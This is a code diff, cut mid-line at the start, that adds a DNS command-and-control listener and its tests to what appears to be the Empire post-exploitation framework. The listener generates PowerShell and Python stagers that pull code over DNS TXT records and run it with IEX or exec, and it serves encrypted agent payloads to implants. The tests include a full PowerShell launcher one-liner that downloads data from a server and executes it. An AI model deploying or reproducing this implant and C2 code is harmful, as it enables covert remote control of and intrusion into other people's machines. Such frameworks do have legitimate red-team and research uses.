return "" + + def validate_options(self): + return True, "" + + def generate_launcher(self, encode=True, obfuscate=False, obfuscation_command="", user_agent="default", proxy="default", proxy_creds="default", stager_retries="0", language=None, safe_checks="", listener_name=None, bypasses=None): + if not language: + log.error(f"{listener_name}: listeners/dns generate_launcher(): no language specified!") + return None + + launcher = self.options["Launcher"]["Value"] + staging_key = self.options["StagingKey"]["Value"] + domain = self.options["Host"]["Value"] + + if language == "powershell": + stager = '$ErrorActionPreference = "SilentlyContinue";' + + # Prebuild routing packet for STAGE0 + routingPacket = packets.build_routing_packet( + staging_key, + sessionID="00000000", + language="POWERSHELL", + meta="STAGE0", + additional="None", + encData="", + ) + b64Routing = base64.urlsafe_b64encode(routingPacket).decode('utf-8').replace('=','') + + stager += f'$Domain="{domain}";$TID=Get-Random -Min 1000 -Max 9999;' + stager += f'$Routing="{b64Routing}";' + stager += '$Query="r$($TID)c0t1.$Routing.xyz";' + stager += 'Resolve-DnsName -Name $Query -Server $Domain -Type A -DnsOnly -ErrorAction SilentlyContinue;' + + # Launcher loops to download chunks of STAGE1 + stager += '$Stage1="";$c=0;while($true){' + stager += ' $Q="s$($TID)c$c.xyz";$R=Resolve-DnsName -Server $Domain -Name $Q -Type TXT -DnsOnly -ErrorAction SilentlyContinue;' + stager += ' if($R -and $R.Type -eq "TXT"){$Stage1+=($R.Strings -join "");$c++;Start-Sleep -Milliseconds 50}else{break}' + stager += '};' + stager += 'if($Stage1){$Pad=4-($Stage1.Length%4);if($Pad -lt 4 -and $Pad -gt 0){$Stage1+="="*$Pad};$Dec=[Convert]::FromBase64String($Stage1.Replace("-","+").Replace("_","/"));IEX([Text.Encoding]::UTF8.GetString($Dec))}' + + if encode: + return helpers.powershell_launcher(stager, launcher) + return stager + + elif language in ["python", "ironpython"]: + routingPacket = packets.build_routing_packet( + staging_key, + sessionID="00000000", + language="PYTHON", + meta="STAGE0", + additional="None", + encData="", + ) + b64Routing = base64.urlsafe_b64encode(routingPacket).decode('utf-8').replace('=','') + + p_stager = f"""import socket,struct,base64,random,os +d="{domain}" +t=random.randint(1000,9999) +x=next((l.split()[1] for l in open('/etc/resolv.conf') if 'nameserver' in l),"8.8.8.8") if os.name=="posix" else "8.8.8.8" +def s(n,q): + p=struct.pack(">HHHHHH",t,256,1,0,0,0)+b''.join(bytes([len(i)])+i.encode()for i in n.split('.'))+b'\\x00'+struct.pack(">HH",q,1) + k=socket.socket(2,2);k.settimeout(2) + try: + k.sendto(p,(x,53)) + r=k.recv(4096) + if q==16 and len(r)>len(p): + l=r[len(p)+10:len(p)+12] + if struct.unpack(">H",l)[0]>0:return r[len(p)+13:len(p)+13+r[len(p)+12]] + except:pass +s(f"r{{t}}c0t1.{b64Routing}.{{d}}",1) +r=b"" +c=0 +while 1: + v=s(f"s{{t}}c{{c}}.{{d}}",16) + if v:r+=v;c+=1 + else:break +if r:exec(base64.b64decode(r.replace(b"-",b"+").replace(b"_",b"/")))""" + return p_stager + + return None + + def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscation_command="", language=None): + if not language: + return b"" + + if language.lower() == "powershell": + template_path = [ + os.path.join(self.mainMenu.installPath, "data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "data/agent/stagers"), + ] + eng = templating.TemplateEngine(template_path) + template = eng.get_template("dns/dns.ps1") + + raw_key_bytes = self.agent_private_cert_key_object.private_bytes( + encoding=serialization.Encoding.Raw, + format=serialization.PrivateFormat.Raw, + encryption_algorithm=serialization.NoEncryption(), + ) + private_key_array = ",".join(f"0x{b:02x}" for b in raw_key_bytes) + + raw_key_bytes = self.agent_private_cert_key_object.public_key().public_bytes( + encoding=serialization.Encoding.Raw, + format=serialization.PublicFormat.Raw, + ) + public_key_array = ",".join(f"0x{b:02x}" for b in raw_key_bytes) + + raw_key_bytes = self.server_private_cert_key_object.public_key().public_bytes( + encoding=serialization.Encoding.Raw, + format=serialization.PublicFormat.Raw, + ) + server_public_key_array = ",".join(f"0x{b:02x}" for b in raw_key_bytes) + + template_options = { + "delay": listenerOptions["DefaultDelay"]["Value"], + "jitter": listenerOptions["DefaultJitter"]["Value"], + "profile": listenerOptions["DefaultProfile"]["Value"], + "kill_date": listenerOptions["KillDate"]["Value"] if listenerOptions["KillDate"]["Value"] else "", + "working_hours": listenerOptions["WorkingHours"]["Value"] if listenerOptions["WorkingHours"]["Value"] else "", + "lost_limit": listenerOptions["DefaultLostLimit"]["Value"], + "host": self.options["Host"]["Value"], + "staging_key": self.options["StagingKey"]["Value"], + "obfuscate": False, + "obfuscation_command": "", + "agent_private_cert_key": private_key_array, + "agent_public_cert_key": public_key_array, + "server_public_cert_key": server_public_key_array, + } + code = template.render(template_options) + return code.encode("utf-8") + + elif language in ["python", "ironpython"]: + template_path = [ + os.path.join(self.mainMenu.installPath, "data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "data/agent/stagers"), + ] + eng = templating.TemplateEngine(template_path) + # Use Python HTTP stager to bootstrap the agent logic (which then pulls comms.py) + template = eng.get_template("http/http.py") + template_options = { + "delay": 5, + "jitter": 0.0, + "profile": "/admin/get.php|Mozilla/5.0", + "kill_date": "03/05/2026", + "working_hours": "00:00-23:59", + "lost_limit": 60, + "host": self.options["Host"]["Value"], + } + code = template.render(template_options) + return code.encode("utf-8") + + return b"" + + def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscation_command="", version=""): + if not language: + return None + + language = language.lower() + delay = listenerOptions["DefaultDelay"]["Value"] + jitter = listenerOptions["DefaultJitter"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + lostLimit = listenerOptions["DefaultLostLimit"]["Value"] + b64DefaultResponse = base64.b64encode(self.default_response().encode("UTF-8")) + + if language == "powershell": + with open(self.mainMenu.installPath + "/data/agent/agent.ps1") as f: + code = f.read() + + code = helpers.strip_powershell_comments(code) + code = code.replace("$AgentDelay = 60", f"$AgentDelay = {delay}") + code = code.replace("$AgentJitter = 0", f"$AgentJitter = {jitter}") + code = code.replace( + '$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', + f'$Profile = "{profile}"', + ) + code = code.replace("$LostLimit = 60", f"$LostLimit = {lostLimit}") + code = code.replace( + '$DefaultResponse = ""', + f'$DefaultResponse = "{b64DefaultResponse.decode("UTF-8")}"', + ) + + if obfuscate: + code = self.mainMenu.obfuscationv2.obfuscate( + code, + obfuscation_command=obfuscation_command, + ) + return code + + return None + + def generate_comms(self, listenerOptions, language=None): + if language.lower() == "powershell": + template_path = [ + os.path.join(self.mainMenu.installPath, "data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "data/agent/stagers"), + ] + eng = templating.TemplateEngine(template_path) + template = eng.get_template("dns/comms.ps1") + + raw_key_bytes = self.agent_private_cert_key_object.private_bytes( + encoding=serialization.Encoding.Raw, + format=serialization.PrivateFormat.Raw, + encryption_algorithm=serialization.NoEncryption(), + ) + powershell_array = ",".join(f"0x{b:02x}" for b in raw_key_bytes) + + template_options = { + "host": self.options["Host"]["Value"], + "agent_private_cert_key": powershell_array, + "agent_public_cert_key": self.agent_public_cert_key, + "server_public_cert_key": self.server_public_cert_key, + } + return template.render(template_options) + return b"" + + def start(self): + self.running = True + self.server = threading.Thread(target=self.start_server, args=(self.options,)) + self.server.daemon = True + self.server.start() + return True + + def start_server(self, listenerOptions): + bind_ip = listenerOptions["BindIP"]["Value"] + port = int(listenerOptions["Port"]["Value"]) + staging_key = listenerOptions["StagingKey"]["Value"] + + self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + # Allows quick restart + self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.sock.bind((bind_ip, port)) + self.sock.settimeout(2.0) + + while self.running: + try: + data, addr = self.sock.recvfrom(4096) + if not data: + continue + + # Manual DNS parsing + tx_id, flags, qdcount, ancount, nscount, arcount = struct.unpack("!HHHHHH", data[:12]) + i = 12 + qname_parts = [] + while data[i] != 0: + length = data[i] + qname_parts.append(data[i+1:i+1+length].decode('utf-8')) + i += length + 1 + qname_str = ".".join(qname_parts) + qtype, qclass = struct.unpack("!HH", data[i+1:i+5]) + + response_body = None + + # Check for stage download chunks (s[TransID]c[ChunkID].[Domain]) + match_stage = re.match(r"^s(\d+)c(\d+)\.", qname_str, re.IGNORECASE) + if match_stage: + req_id, chunk_idx = match_stage.groups() + chunk_idx = int(chunk_idx) + + if req_id in self.stage_downloads: + if chunk_idx < len(self.stage_downloads[req_id]): + response_body = self.stage_downloads[req_id][chunk_idx] + else: + log.error(f"[DNS] chunk {chunk_idx} OUT OF BOUNDS for {req_id}") + else: + log.error(f"[DNS] req_id {req_id} NOT FOUND in stage_downloads") + + # Check for routing protocol: r[TransID]c[ChunkID]t[TotalChunks].[Base64].[Domain] + match_route = re.match(r"^r(\d+)c(\d+)t(\d+)\.(.*?)\.(.*)", qname_str, re.IGNORECASE) + if match_route: + req_id, chunk_idx, total_chunks, b64_chunk, domain = match_route.groups() + chunk_idx, total_chunks = int(chunk_idx), int(total_chunks) + + if req_id not in self.chunk_buffer: + self.chunk_buffer[req_id] = [None] * total_chunks + + self.chunk_buffer[req_id][chunk_idx] = b64_chunk + + if None not in self.chunk_buffer[req_id]: + b64_payload = "".join(self.chunk_buffer[req_id]) + b64_payload = b64_payload.replace("-", "+").replace("_", "/") + pad_count = 4 - (len(b64_payload) % 4) + if pad_count < 4: + b64_payload += "=" * pad_count + + try: + request_data = base64.b64decode(b64_payload) + + dataResults = self.mainMenu.agentcommsv2.handle_agent_data( + staging_key, + self.agent_public_cert_key, + self.server_private_cert_key, + self.server_public_cert_key, + request_data, + listenerOptions, + addr[0] + ) + + if dataResults and len(dataResults) > 0: + for language, results in dataResults: + if results == b"STAGE0" or results == "STAGE0": + log.info(f"[DNS] Sending {language} STAGE1 to {addr[0]}") + + # Generating STAGE1 payload + stager_data = self.generate_stager(language=language, listenerOptions=listenerOptions) + b64_stager = base64.urlsafe_b64encode(stager_data).decode('utf-8').replace('=','') + + # Store in buffer for chunking (200 bytes chunks max for DNS TXT) + self.stage_downloads[req_id] = [b64_stager[k:k+200] for k in range(0, len(b64_stager), 200)] + log.info(f"[DNS] Stager buffered in {len(self.stage_downloads[req_id])} chunks for req_id {req_id}") + + elif isinstance(results, bytes) and results.startswith(b"STAGE2"): + sessionID = results.split(b" ")[1].strip().decode("UTF-8") + sessionKey = self.mainMenu.agentcommsv2.agents[sessionID]["sessionKey"] + if isinstance(sessionKey, str): + sessionKey = bytes.fromhex(sessionKey) + + log.info(f"[DNS] Sending agent (stage 2) to {sessionID} at {addr[0]}") + + agentCode = self.generate_agent( + language=language, + listenerOptions=listenerOptions, + ) + if not agentCode: + agentCode = "" + + encryptedAgent = AESCipher.encrypt_then_hmac( + sessionKey, agentCode.encode("UTF-8") if isinstance(agentCode, str) else agentCode + ) + stage2_response = packets.build_routing_packet( + staging_key, sessionID, language, encData=encryptedAgent + ) + + job_id = str(random.randint(10000, 99999)) + b64_stage2 = base64.urlsafe_b64encode(stage2_response).decode('utf-8').replace('=', '') + self.stage_downloads[job_id] = [b64_stage2[k:k+200] for k in range(0, len(b64_stage2), 200)] + log.info(f"[DNS] Agent code buffered in {len(self.stage_downloads[job_id])} chunks for JOB:{job_id} ({len(stage2_response)} bytes)") + response_body = f"JOB:{job_id}" + + elif isinstance(results, str) and results.startswith("STAGE2"): + sessionID = results.split(" ")[1].strip() + sessionKey = self.mainMenu.agentcommsv2.agents[sessionID]["sessionKey"] + if isinstance(sessionKey, str): + sessionKey = bytes.fromhex(sessionKey) + + log.info(f"[DNS] Sending agent (stage 2) to {sessionID} at {addr[0]}") + + agentCode = self.generate_agent( + language=language, + listenerOptions=listenerOptions, + ) + if not agentCode: + agentCode = "" + + encryptedAgent = AESCipher.encrypt_then_hmac( + sessionKey, agentCode.encode("UTF-8") if isinstance(agentCode, str) else agentCode + ) + stage2_response = packets.build_routing_packet( + staging_key, sessionID, language, encData=encryptedAgent + ) + + job_id = str(random.randint(10000, 99999)) + b64_stage2 = base64.urlsafe_b64encode(stage2_response).decode('utf-8').replace('=', '') + self.stage_downloads[job_id] = [b64_stage2[k:k+200] for k in range(0, len(b64_stage2), 200)] + log.info(f"[DNS] Agent code buffered in {len(self.stage_downloads[job_id])} chunks for JOB:{job_id} ({len(stage2_response)} bytes)") + response_body = f"JOB:{job_id}" + + elif isinstance(results, bytes) and results.startswith(b"ERROR:"): + log.error(f"[DNS] Agent from {addr[0]} Error: {results}") + elif isinstance(results, str) and results.startswith("ERROR:"): + log.error(f"[DNS] Agent from {addr[0]} Error: {results}") + elif results: + if isinstance(results, str): + results = results.encode("UTF-8") + + # If results are large, use staging buffer + if len(results) > 200: + import random + job_id = random.randint(10000, 99999) + b64_response = base64.urlsafe_b64encode(results).decode('utf-8').replace('=', '') + self.stage_downloads[str(job_id)] = [b64_response[k:k+200] for k in range(0, len(b64_response), 200)] + log.info(f"[DNS] Buffered large response {len(results)} bytes into JOB:{job_id} ({len(self.stage_downloads[str(job_id)])} chunks)") + response_body = f"JOB:{job_id}" + else: + # Standard small response + response_b64 = base64.b64encode(results).decode('utf-8') + response_body = response_b64.replace('+', '-').replace('/', '_').replace('=', '') + + except Exception as e: + log.error(f"[!] Error in Data Handling DNS: {e}") + + del self.chunk_buffer[req_id] + + # Build UDP Response + response = bytearray(data[:12]) + response[2] ^= 0x80 # QR = 1 + response[3] = 0x00 # No error + + struct.pack_into("!H", response, 6, 1) # ANCOUNT = 1 + response.extend(data[12:i+5]) # Question + + response.extend(b"\xc0\x0c") # Name pointer + if qtype == 16 and response_body: # TXT request + response.extend(struct.pack("!H", 16)) # TXT + response.extend(struct.pack("!H", 1)) # IN + response.extend(struct.pack("!L", 60)) # TTL + + ans_bytes = response_body.encode('utf-8') + txt_data = b"".join(bytes([len(ans_bytes[k:k+255])]) + ans_bytes[k:k+255] for k in range(0, len(ans_bytes), 255)) + response.extend(struct.pack("!H", len(txt_data))) + response.extend(txt_data) + else: + # Default A response + response.extend(struct.pack("!H", 1)) # A + response.extend(struct.pack("!H", 1)) # IN + response.extend(struct.pack("!L", 60)) # TTL + response.extend(struct.pack("!H", 4)) # Data len + response.extend(socket.inet_aton("1.2.3.4")) + + self.sock.sendto(response, addr) + + except socket.timeout: + pass + except Exception as e: + pass + + try: + self.sock.close() + except: + pass + + def shutdown(self): + self.running = False diff --git a/empire/test/test_listener_api.py b/empire/test/test_listener_api.py index 17d3972b3..df6e52dfd 100644 --- a/empire/test/test_listener_api.py +++ b/empire/test/test_listener_api.py @@ -1,6 +1,27 @@ from starlette import status +def get_base_dns_listener(): + return { + "name": "dns-listener-1", + "template": "dns", + "options": { + "Name": "dns-listener-1", + "Host": "127.0.0.1", + "BindIP": "0.0.0.0", + "Port": "5553", + "Launcher": "powershell -noP -sta -w 1 -enc ", + "StagingKey": "2c103f2c4ed1e59c0b4e2e01821770fa", + "DefaultDelay": "5", + "DefaultJitter": "0.0", + "DefaultLostLimit": "60", + "DefaultProfile": "/admin/get.php,/news.php,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", + "KillDate": "", + "WorkingHours": "", + }, + } + + def get_base_listener(): return { "name": "new-listener-1", @@ -572,6 +593,44 @@ def test_update_listener_autorun(client, admin_auth_header, listener): assert response.json() == {"records": autorun_tasks} +def test_create_dns_listener(client, admin_auth_header): + base_listener = get_base_dns_listener() + response = client.post( + "/api/v2/listeners/", headers=admin_auth_header, json=base_listener + ) + assert response.status_code == status.HTTP_201_CREATED + assert response.json()["options"]["Name"] == base_listener["name"] + assert response.json()["options"]["Port"] == base_listener["options"]["Port"] + + client.delete( + f"/api/v2/listeners/{response.json()['id']}", headers=admin_auth_header + ) + + +def test_create_dns_listener_validation_fails_required_field(client, admin_auth_header): + base_listener = get_base_dns_listener() + base_listener["options"]["Host"] = "" + response = client.post( + "/api/v2/listeners/", headers=admin_auth_header, json=base_listener + ) + assert response.status_code == status.HTTP_400_BAD_REQUEST + assert response.json()["detail"] == "required option missing: Host" + + +def test_get_dns_listener_template(client, admin_auth_header): + response = client.get( + "/api/v2/listener-templates/dns", + headers=admin_auth_header, + ) + assert response.status_code == status.HTTP_200_OK + assert response.json()["name"] == "DNS" + assert response.json()["id"] == "dns" + assert isinstance(response.json()["options"], dict) + assert "Host" in response.json()["options"] + assert "Port" in response.json()["options"] + assert "StagingKey" in response.json()["options"] + + def test_update_listener_autorun_invalid(client, admin_auth_header, listener): autorun_tasks = [ { diff --git a/empire/test/test_listener_generate_launcher.py b/empire/test/test_listener_generate_launcher.py index dcbf930f7..e4f762f1f 100644 --- a/empire/test/test_listener_generate_launcher.py +++ b/empire/test/test_listener_generate_launcher.py @@ -489,5 +489,44 @@ def _expected_redirector_python_launcher(): ).strip("\n") +def test_dns_generate_launcher(monkeypatch, main_menu_mock): + from empire.server.listeners.dns import Listener + + # guarantee the routing packet content. + packets_mock = Mock() + packets_mock.build_routing_packet.return_value = b"routing packet" + monkeypatch.setattr("empire.server.listeners.dns.packets", packets_mock) + + dns_listener = Listener(main_menu_mock) + + dns_listener.options["Host"]["Value"] = "127.0.0.1" + dns_listener.options["Port"]["Value"] = "53" + dns_listener.options["StagingKey"]["Value"] = "2c103f2c4ed1e59c0b4e2e01821770fa" + + powershell_launcher = dns_listener.generate_launcher( + language="powershell", encode=False + ) + + assert powershell_launcher is not None + assert '$Domain="127.0.0.1"' in powershell_launcher + assert 'Resolve-DnsName' in powershell_launcher + assert '-Server $Domain' in powershell_launcher + assert '-Type TXT' in powershell_launcher + assert '$Stage1' in powershell_launcher + assert 'IEX' in powershell_launcher + + python_launcher = dns_listener.generate_launcher( + language="python", encode=False + ) + + assert python_launcher is not None + assert 'd="127.0.0.1"' in python_launcher + assert 'socket' in python_launcher + assert 'exec(' in python_launcher + + # test that no language returns None + assert dns_listener.generate_launcher(language=None, encode=False) is None + + def _expected_redirector_powershell_launcher(): return """$ErrorActionPreference = "SilentlyContinue";$wc=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;$Script:Proxy = $wc.Proxy;$K=[System.Text.Encoding]::ASCII.GetBytes('@3uiSPNG;mz|{5#1tKCHDZ*dFs87~g,}');$ser=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwBsAG8AYwBhAGwAaABvAHMAdAAvAA==')));$t='/admin/get.php';$hop='fake_listener';$wc.Headers.Add('Hop-Name',$hop);$wc.Headers.Add("Cookie","session=cm91dGluZyBwYWNrZXQ=");$data=$wc.DownloadData($ser+$t);$iv=$data[0..3];$data=$data[4..$data.length];-join[Char[]](& $R $data ($IV+$K))|IEX"""